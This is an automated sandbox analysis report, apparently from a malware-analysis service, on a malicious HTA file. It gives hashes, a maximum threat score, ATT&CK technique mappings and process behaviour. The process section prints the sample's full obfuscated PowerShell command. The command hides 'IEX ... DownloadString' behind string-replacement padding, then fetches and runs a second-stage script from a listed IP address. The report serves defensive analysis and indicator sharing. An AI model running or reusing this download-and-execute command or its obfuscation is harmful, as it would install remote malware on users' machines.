f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3

Analysis

max time kernel
3s
max time network
5s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
20-01-2022 15:31

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General

Target

PS1.hta
Size

3KB
MD5

37f9dc388fedc16b308acaadc34c2054
SHA1

25c936c0b399b82ad39363f6237fd5db13369bda
SHA256

f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3
SHA512

f7a335e8b559079ea7b8d8d9341f0d13e3b7c23af4858d87f350df698f2580e83a7c3e84a69cdb003f83b68127a45943cfbb5cd11c44cc3a8446fb30ace85fc4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://135.148.74.241/PS1_B.txt

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 3896 wrote to memory of 900	3896	mshta.exe	powershell.exe
PID 3896 wrote to memory of 900	3896	mshta.exe	powershell.exe
PID 3896 wrote to memory of 900	3896	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\PS1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://135.148.74.241/PS1_B.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
PID:900

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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